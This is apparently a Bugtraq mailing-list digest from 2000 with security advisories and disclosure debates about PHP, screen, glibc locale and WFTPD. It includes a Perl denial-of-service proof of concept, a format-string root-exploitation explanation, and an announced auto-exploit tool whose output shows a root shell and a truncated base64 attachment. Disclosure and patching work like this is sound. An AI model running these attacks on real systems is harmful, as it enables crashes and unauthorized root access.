char *gpc_order; char *variables_order; + HashTable rfc1867_protected_variables; + short connection_status; short ignore_user_abort; Sorry about that. Zeev At 07:07 05/09/2000, shaoming wrote: >Hi! > >try building but compiler coughs out the following error: > >rfc1867.c: In function `add_protected_variable': >rfc1867.c:40: structure has no member named >`rfc1867_protected_variables' >rfc1867.c: In function `is_protected_variable': >rfc1867.c:46: structure has no member named >`rfc1867_protected_variables' >rfc1867.c: In function `php_mime_split': >rfc1867.c:103: structure has no member named >`rfc1867_protected_variables' >rfc1867.c:142: structure has no member named >`rfc1867_protected_variables' >rfc1867.c:145: structure has no member named >`rfc1867_protected_variables' >rfc1867.c:154: structure has no member named >`rfc1867_protected_variables' >rfc1867.c:183: structure has no member named >`rfc1867_protected_variables' >rfc1867.c:191: structure has no member named >`rfc1867_protected_variables' >rfc1867.c:237: structure has no member named >`rfc1867_protected_variables' >rfc1867.c:281: structure has no member named >`rfc1867_protected_variables' >rfc1867.c:326: structure has no member named >`rfc1867_protected_variables' >rfc1867.c:342: structure has no member named >`rfc1867_protected_variables' >rfc1867.c:390: structure has no member named >`rfc1867_protected_variables' >make[2]: *** [rfc1867.lo] Error 1 >make[2]: Leaving directory `/root/src/apache/php-4.0.2/main' >make[1]: *** [all-recursive] Error 1 >make[1]: Leaving directory `/root/src/apache/php-4.0.2/main' >make: *** [all-recursive] Error 1 > >any idea on what could be the problem? > >Or could you just direct me to the mailing list that I should be in. > >sorry for troubling you...cheers > >Zeev Suraski wrote: > > > > The initial fix published earlier did NOT fix the vulnerability that was > > discovered, and could also cause crashes under certain circumstances. It > > could also cause some applications to fail, due to a side effect that > > prevents certain valid form variables from being processed correctly. > > > > The correct, tested fixed file (without any side effects) is available at > > > > > http://cvsweb.php.net/viewcvs.cgi/~checkout~/php4/main/rfc1867.c?rev=1.45&content-type=text/plain > > > > The diff against version 4.0.2 is available at: > > > > > http://cvsweb.php.net/viewcvs.cgi/php4/main/rfc1867.c.diff?r1=1.38%3Aphp_4_0_2&tr1=1.1&r2=text&tr2=1.45&diff_format=u > > > > It is also attached to this message. > > > > Thanks to James Moore for helping me test this fix. > > > > Zeev > > > > ------------------------------------------------------------------------ > > Name: rfc1867.c.diff > > rfc1867.c.diff Type: unspecified type (application/octet-stream) > > Encoding: base64 > > > > ------------------------------------------------------------------------ > > -- > > Zeev Suraski > > http://www.zend.com/ -- Zeev Suraski http://www.zend.com/ --bZFMCCSGaJLSEbZDTGCIGTaZQdMDDH Date: Tue, 5 Sep 2000 00:58:44 -0400 From: Jim Duncan Subject: Re: FORCED RELEASE NOTES - CORE-090400 - BID 1634 Vulnerability Help writes: > The SecurityFocus Vulnerability Help Team is releasing details behind the > FORCED RELEASE of the CORE-SDI Advisory "UNIX locale format string > vulnerability". > [...] > The information on this vulnerability became available via several Linux > Vendor advisories. Given the nature of the bug CORE-SDI felt it was > important to post the advisory. The advisories in question were: > > 1. RedHat - glibc vulnerabilities in ld.so, locale and gettext > http://www.securityfocus.com/advisories/2576 > > 2. Debian - Glibc Vulnerability > http://www.securityfocus.com/advisories/2578 > > Neither company responded to the original message, neither warned us to > the fact they were contacted by other people with information that > pertained to the same vulnerability, and they failed to warn us they were > going to release an advisory. > [...] > The net result here is that Linux vendors were aware this problem existed > in *other* non Linux UNIX distributions. In particular they were aware of > the fact that Solaris was vulnerable, yet advisories were released > regardless of this. It is a given that people who understand that the > Local Subsystem is cross platform (this is essentially anyone who reads > Bugtraq..) would realize that this problem would affect more than just > Linux distributions. As a result of no attempt to work amongst the Linux > vendors with other vendors a series of OS's are now unprotected to a very > serious, very wide spread bug. > > That being said, there really is no one to blame for this situation. There > exists no forum for competing vendors to share information like this and > further many vendors simply don't seem interested in working with other > vendors to see multi vendor vulnerabiltities resolved. That's not true; the FIRST maintains a method for competing vendors to share sensitive information like this and to coordinate public announcements regarding vulnerabilities. There have been major events in the past in which the Unix vendors that were members of FIRST at the time (http://www.first.org/team-info/) were brought together by one of the Unix vendors, advised of the vulnerability, worked out a schedule, and then fixed the problem. When they were ready, they published all at the same time. FIRST is often criticized, but it's better than nothing, and stating that there is no such forum is decidedly counterproductive. I have recently begun trying to coordinate a similar venue for network equipment manufacturers by encouraging their involvement in FIRST. As far as router makers go, the team I'm on, the Cisco Product Security Incident Response Team, seems to be the only team of its kind. > It's likely that this type of incident will happen again. Let's hope not. This is outrageous, and shows a distinct lack of maturity in the industry. To earn the respect of the rest of the world, we have to do better than this. You can start by advocating involvement in existing organizations that _do_ work, rather than reconciling yourself to the opinion that it's hopeless. Assume that mistakes _will_ happen; then what becomes important is how you handle them. Let's learn from this and prevent it in the future. Jim -- Jim Duncan, Product Security Incident Manager, Cisco Systems, Inc. E-mail: Phone(Direct/FAX): +1 919 392 6209 --bZFMCCSGaJLSEbZDTGCIGTaZQdMDDH Date: Mon, 4 Sep 2000 19:33:32 -0500 From: Signal 11 Subject: Re: screen 3.9.5 root vulnerability MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit > Red Hat Linux 6.0 and later, most other Linux distributions Mandrake 7.0 (air) is not vulnerable. Redhat 5.2 is also not vulnerable (not setuid), as a quick shell into my firewall noted. I am running 3.07.06 on the aforementioned 5.2 box, and screen was installed from one of the redhat-provided RPMs. It would help for those of us looking into the packages listings of the various distributions if you provided the earliest version of screen which has the fix. ~ Signal 11 --bZFMCCSGaJLSEbZDTGCIGTaZQdMDDH Date: Mon, 4 Sep 2000 21:56:17 -0600 From: Warner Losh Subject: Re: FORCED RELEASE NOTES - CORE-090400 - BID 1634 In message Vulnerability Help writes: : That being said, there really is no one to blame for this situation. There : exists no forum for competing vendors to share information like this and : further many vendors simply don't seem interested in working with other : vendors to see multi vendor vulnerabiltities resolved. I know that various groups in the past have tried to strike a balance between vendor coordination and forcing a release to spur the vendors into action. CERT came down on the "don't disclose until fixes are in place" side of things early and only later did they add the "or too much time passes" clause. At least that's how it appears from the outside. FIRST did a good job, but something weird happened along the way and they stopped doing that. What's really needed is a vulnerability stamping service :-). In the coin collecting community, there are trusted parties that will encase a coin in lucite and engrave the date and their "mark" to show that this coin was encased in lucite on thus and such a date (or was given to them to be so encased on the date, it varies). This can be useful in the coin collecting community to establish that a certain coin was first of its type to enter circulation, etc. Maybe something similar is needed in the security community to strongly encourage advisory writers from acting prematurely because that's the only way to call "dibs" on a given vulnerability. For it to be truly effective it has to be done on a massive scale and get the word out to everybody in the community. It won't help people that release these things just to cause trouble, but it might take some of the pressure off. Warner --bZFMCCSGaJLSEbZDTGCIGTaZQdMDDH Date: Tue, 5 Sep 2000 15:25:32 +1000 From: Michael Subject: WFTPD/WFTPD Pro 2.41 RC12 vulnerabilities MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0009_01C0174D.8807B120" This is a multi-part message in MIME format. ------=_NextPart_000_0009_01C0174D.8807B120 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit ================================================================= Blue Panda Vulnerability Announcement: WFTPD/WFTPD Pro 2.41 RC12 05/09/2000 (dd/mm/yyyy) bluepanda@dwarf.box.sk http://bluepanda.box.sk/ ================================================================= Multiple vulnerabilities. Details available in attached files. ------=_NextPart_000_0009_01C0174D.8807B120 Content-Type: text/plain; name="wftpd241-12.txt" Content-Transfer-Encoding: quoted-printable Content-Disposition: attachment; filename="wftpd241-12.txt" =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D Blue Panda Vulnerability Announcement: WFTPD/WFTPD Pro 2.41 RC12 05/09/2000 (dd/mm/yyyy) bluepanda@dwarf.box.sk http://bluepanda.box.sk/ =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D Problem: WFTPD will crash if a large string consisting of characters = 128-255 is received. A valid user/pass combination is not required to take = advantage of this flaw. Vulnerable: WFTPD/WFTPD Pro 2.41 RC12 and prior. Immune: WFTPD/WFTPD Pro 2.41 RC13. Vendor status: Notified. A fix has been released. =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D Proof of concept: =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D #!/usr/bin/perl # # WFTPD/WFTPD Pro 2.41 RC12 denial-of-service # Blue Panda - bluepanda@dwarf.box.sk # http://bluepanda.box.sk/ # # ---------------------------------------------------------- # Disclaimer: this file is intended as proof of concept, and # is not intended to be used for illegal purposes. I accept # no responsibility for damage incurred by the use of it. # ---------------------------------------------------------- # # Sends WFTPD string consisting of characters > 127, causing it to = crash. # use IO::Socket; $host =3D "ftp.host.com" ; $port =3D "21"; $sleepfor =3D 4; print "Connecting to $host:$port..."; $socket =3D IO::Socket::INET->new(Proto=3D>"tcp", PeerAddr=3D>$host, = PeerPort=3D>$port) || die "failed.\n"; print "done.\n"; $buffer =3D "\x80" x 2000; print $socket "$buffer\n"; $counter =3D 0; print "Sleeping for $sleepfor seconds."; while($counter < $sleepfor) { sleep(1); print "."; $counter +=3D 1; } print "\n"; close($socket); ------=_NextPart_000_0009_01C0174D.8807B120 Content-Type: text/plain; name="wftpd241-12-2.txt" Content-Transfer-Encoding: quoted-printable Content-Disposition: attachment; filename="wftpd241-12-2.txt" =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D BluePanda Vulnerability Announcement: WFTPD/WFTPD Pro 2.41 RC12 05/09/2000 (dd/mm/yyyy) bluepanda@dwarf.box.sk http://bluepanda.box.sk/ =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D Problem: "Magic cookie" %C devulges sensitive information. Vulnerable: WFTPD/WFTPD Pro 2.41 RC12, and prior. Immune: WFTPD/WFTPD Pro 2.41 RC13. Vendor status: Notified. A fix has been released. =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D Details: =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D Use of the "magic cookie" %C reveals the full path of the current = directory, ie: C:\>nc panda 21 220 WFTPD 2.4 service (by Texas Imperial Software) ready for new user user anonymous 331-Anonymous user access allowed - please enter your email 331-address as the password: 331 Give me your password, please pass 230 Logged in successfully %C 500 Unidentified command D:\FTPROOT\ ------=_NextPart_000_0009_01C0174D.8807B120-- --bZFMCCSGaJLSEbZDTGCIGTaZQdMDDH Date: Mon, 4 Sep 2000 22:40:14 -0700 From: Blue Boar Subject: Re: FORCED RELEASE NOTES - CORE-090400 - BID 1634 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit >That being said, there really is no one to blame for this situation. >There exists no forum for competing vendors to share information like >this and further many vendors simply don't seem interested in working >with other vendors to see multi vendor vulnerabiltities resolved. Never attribute to malice what can be explained by stupidity, but just in case.. How's about this for an incentive: To vendors who jump the gun so they can get "First Patch!".. how many times do you think you'll do that before you start getting dropped off the notification list? I'm not talking about any list that SecurityFocus maintains (though I wouldn't discount that either) but rather the R&D groups and individuals who so often find these holes. Many of these people are only able to spend their time doing this because of some sort of benefit they derive from the publicity. If that starts to be messed with, you can bet that's going to hurt your chances of getting advance notice (i.e. they can ensure they get their props by NOT notifying you next time.) Anyone else see any interesting parallels here? Here you've got researchers trying their best to do the right thing for a bug that potentially affects damn near every *nix out there, and some of the vendors go forward with their own announcements without telling the people who reported it to them. Hello? Golden Rule? Hello? McFly? Bueller? Again, I would tend to attribute this to growing pains. After all, the vendors aren't used to having the 0-day, and I'm sure they just got excited. I'd like to see a little policy statement from the various vendors to the effect of whether they're willing to do coordinated releases or not. I think I'm hearing that SecurityFocus is willing to do escrow for parties that wish to use them. Blue Boar vuln-dev moderator --bZFMCCSGaJLSEbZDTGCIGTaZQdMDDH Date: Tue, 5 Sep 2000 09:16:36 +0700 From: Eugeny Kuzakov Subject: Re: screen 3.9.5 root vulnerability MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=koi8-r Content-Transfer-Encoding: 8BIT On Tue, 5 Sep 2000, [latin1] Jouko Pynnönen wrote: FreeBSD port not affected for this problem after 1 sept 2000 because it contains security patch for this problem. $ cat /usr/ports/misc/screen/patches/patch-sec1 --- screen.c.orig Fri Sep 1 17:58:35 2000 +++ screen.c Fri Sep 1 17:57:35 2000 @@ -2311,7 +2311,7 @@ else if (visual && !D_VB && (!D_status || !D_status_bell)) { D_status_delayed = -1; - Msg(0, VisualBellString); + Msg(0, "%s", VisualBellString); if (D_status) { D_status_bell = 1; > Date: Tue, 5 Sep 2000 01:28:01 +0300 > From: "[latin1] Jouko Pynnönen" > To: BUGTRAQ@SECURITYFOCUS.COM > Subject: screen 3.9.5 root vulnerability > > PROBLEM DESCRIPTION > > A vulnerability exists in the program "screen" version 3.9.5 and earlier. > If screen is installed setuid root, a local user may gain root privilege. > There are many systems where the program isn't setuid root by default, but > on many systems (afaik at least SuSE Linux, Red Hat 5.2 and earlier, *BSD ports > packages, Solaris, other commercial unices) it is, making them vulnerable. > > To quickly check if your version is vulnerable, have these two lines in > ~/.screenrc: > > vbell on > vbell_msg '%x' > > Set TERM to vt100, start screen and press ctrl-G (you may need to issue the > command echo ^V^G to get a visual bell). If you see a hexadecimal number on > the last line, your version of screen is vulnerable. However it can't be > exploited unless the program is installed setuid root. > > > > BUG DETAILS > > The bug is located in screen.c in function serv_select_fn(): > > ... > else if (visual && !D_VB && (!D_status || !D_status_bell)) > { > D_status_delayed = -1; > Msg(0, VisualBellString); > if (D_status) > { > ... > > Msg() feeds the second argument to sprintf() and since VisualBellString is > user defineable, we have a classical format bug. From there, a malicious user > can either do the old trick and write over a return address in stack, or for > instance, write over the real_uid variable where screen saves the user id. > After zeroing this variable with the format string the user can just open > a new window with a root shell in it. > > For this reason the bug is quite platform-independent; no shell code nor > executable stack is needed. The vulnerability has been tested on Linux, Intel > and ppc architectures. > > > > VULNERABLE SYSTEMS > > NetBSD, FreeBSD, OpenBSD (screen is a part of the ports collection) > Red Hat Linux 5.2 and earlier, SuSE Linux, Solaris, many commercial unices > > > > NOT VULNERABLE > > Red Hat Linux 6.0 and later, most other Linux distributions > > > > WORKAROUND > > Removing the setuid bit from the binary makes it impossible to be > exploited: > > chmod 111 /usr/local/bin/screen # or /usr/bin/screen > > BUT this may require some changes to the mode of screen's socket dir > (usually /tmp/screens). Consult screen documentation for more info. > > > > SOLUTION > > Screen authors (and some OS vendors) have been informed and a new version > of screen can be retrieved from > > ftp://ftp.uni-erlangen.de/pub/utilities/screen/screen-3.9.8.tar.gz > > and diffs relative to version 3.9.5: > > ftp://ftp.uni-erlangen.de/pub/utilities/screen/screen-3.9.5-3.9.8.diff.gz > > > Vendor patches for vulnerable systems have been released, or will be > released shortly. > > > > CREDITS > > Vulnerability discovered by: Jouko Pynnönen > > > > -- > Jouko Pynnönen Online Solutions Ltd Secure your Linux - > jouko@solutions.fi http://www.secmod.com > ---- Best wishes, Eugeny Kuzakov, SA ITBank, Omsk ---- All I want is a warm bed and a kind word and unlimited power -- Ashleigh Brilliant --bZFMCCSGaJLSEbZDTGCIGTaZQdMDDH Date: Tue, 5 Sep 2000 01:17:15 -0400 From: "za@boo.ma.fu" Subject: New Tool: initd_.sh; MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="------------62BF1BFA59524577D0379239" This is a multi-part message in MIME format. --------------62BF1BFA59524577D0379239 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit /*** Attachment did not send... resending (sorry for the bulk) ***/ Heyas ;) I wrote this tool in the last couple of days to see if I could actually implement a program that would automatically attack local binaries and attempt to find exploits in respect to buffer overflows via command line switches. Despite the script's simplicity I do believe it is a powerful tool that will aid in securing any Linux box although I refuse to blindly advertise this as an end all be all to local security. As I note in the readme there are numerous discrepancies that limit the programs strength, however, _most_ (if not all) of these issues will be resolved in upcoming releases of this program. Instead of explaining the entire process and capability I'll just paste the --help output at the end of this message. Also I'll paste an example usage for fun ;D This program is a first of its kind as far as I know ;) I'm pretty excited to see the response I get from the community. Portability to as many operating systems as possible will be integrated asap, however it will take a week or two as I am generating the configurable shellcode myself (something I have never done before at this level). Anyway, I hope you enjoy this beta release! Sincerely, initd_ initd_@digital.net 0x7F Security Research Restless eyes and erratic blue flicker While devilish fingers dance and slither The sound of electricity, relentless, hums.... ....When something wicked this way comes - initd_'s verse >;) ---- Help Output ---- seychelles.initd_ % ./initd_.sh Note: For further explanation on switches consult documentation usage: initd_.sh [options] options: -t filename Define the target binary as 'filename' --min_buffer int Define minimum buffer size as 'int' --max_buffer int Define maximum buffer size as 'int' --jmp_buffer int Define buffer increment value as 'int' --min_offset int Define minimum offset size as 'int' --max_offset int Define maximum offset size as 'int' --jmp_offset int Define offset increment value as 'int' --tmp_dir dir Force all tmp files to be written to 'dir' --rsd_dir dir Force the RSD directory to be 'dir' --rsdct_dir dir Force the RSDCT directory to be 'dir' --et_dir dir Force the ET directory to be 'dir' --uid int Force user id of target binary to 'int' --gid int Force group id of target binary to 'int' -n Do not query program for command line switches -s switches Pass a quoted string of switches to test -q Switch messaging to quiet mode -v Increase program verbocity (3 levels max) --help | -h Display program usage Send comments/questions/bugs to: initd_@digital.net 0x7f Security Research Team: Dangerously Deadicated. . . --- EOHelp --- phoenix.initd_ % id uid=1000(initd_) gid=100(users) groups=100(users) phoenix.initd_ % ./initd_.sh -t ../../../INITD_2000.08.24/ex --min_buffer 1024 -v -v -v # # initd_.sh # Automated Exploitation Tool v0.0.3 # # 0x7f Security Research: Something Wicked This Way Comes... # [+] Target Confirmed [+] Binary is not stripped [+] Strip has been located. Exploit stealth has increased [+] Confirmed temp directory [+] RSD Directory confirmed [+] Configuring for a Linux system on a i586 chip [ ] Owner of target is root [ ] Group name of target is root [+] User id # determined to be 0 [+] Group id number determined to be 0 [ ] Creating the Root Shell Dropper [+] RSD Creation Successful [ ] Creating Root Shell Dropper Configuration Tool [+] RSDCT Creation Successful [ ] Creating Exploitation Tool [+] ET Creation Succeeded [ ] Current Switch: -s [ ] Current Buffer Size: 1024 [ ] Current Offset: -100 [ ] Current Offset: 0 [ ] Current Offset: 100 [ ] Current Offset: 200 [ ] Current Offset: 300 [ ] Current Offset: 400 [+] Executing Cleanup [+] Cleanup Complete [ ] Welcome to the Dark Side sh-2.02# id uid=0(root) gid=0(root) groups=100(users) sh-2.02# exit exit phoenix.initd_ % ls -la total 38 drwxr-xr-x 2 initd_ users 1024 Sep 5 01:05 . drwxr-xr-x 4 initd_ users 1024 Sep 5 00:31 .. -rwsr-sr-x 1 root root 3192 Sep 5 01:05 .bash_log1n -rw-r--r-- 1 initd_ users 9863 Sep 5 00:30 Readme -rwxr-xr-x 1 initd_ users 21313 Sep 5 00:22 initd_.sh phoenix.initd_ % ---EOF--- Enjoy ;) --------------62BF1BFA59524577D0379239 Content-Type: application/x-gzip; name="initd_.tar.gz" Content-Transfer-Encoding: base64 Content-Disposition: inline; filename="initd_.tar.gz" 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 